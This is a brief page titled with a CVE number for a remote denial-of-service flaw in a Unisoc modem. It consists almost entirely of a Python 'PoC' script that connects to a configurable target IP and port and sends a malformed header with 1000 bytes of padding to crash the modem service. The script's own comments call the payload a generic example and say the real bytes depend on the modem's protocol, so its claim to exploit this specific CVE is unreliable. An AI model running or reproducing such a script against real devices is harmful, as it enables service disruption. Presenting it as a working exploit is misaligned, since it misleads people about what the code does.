CVE-2025-71256 Unisoc Modem 输入验证不当导致远程拒绝服务漏洞

import socket import sys # CVE-2025-71256 PoC Concept # This script attempts to trigger the DoS by sending a malformed packet. # Target details need to be configured based on the specific environment. TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 8080 # Replace with the specific port listening by the modem service # Constructing a payload that simulates improper input validation trigger # The specific payload bytes depend on the internal protocol parsing logic of the NR Modem. # This is a generic example of a buffer overflow pattern or malformed header. malformed_header = b"\x00\xff\xaa\x55" padding = b"A" * 1000 payload = malformed_header + padding def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending malformed payload...") s.send(payload) print("[+] Payload sent. Check if the modem service has crashed.") s.close() except ConnectionRefusedError: print("[-] Connection refused. Target may be down or port is incorrect.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()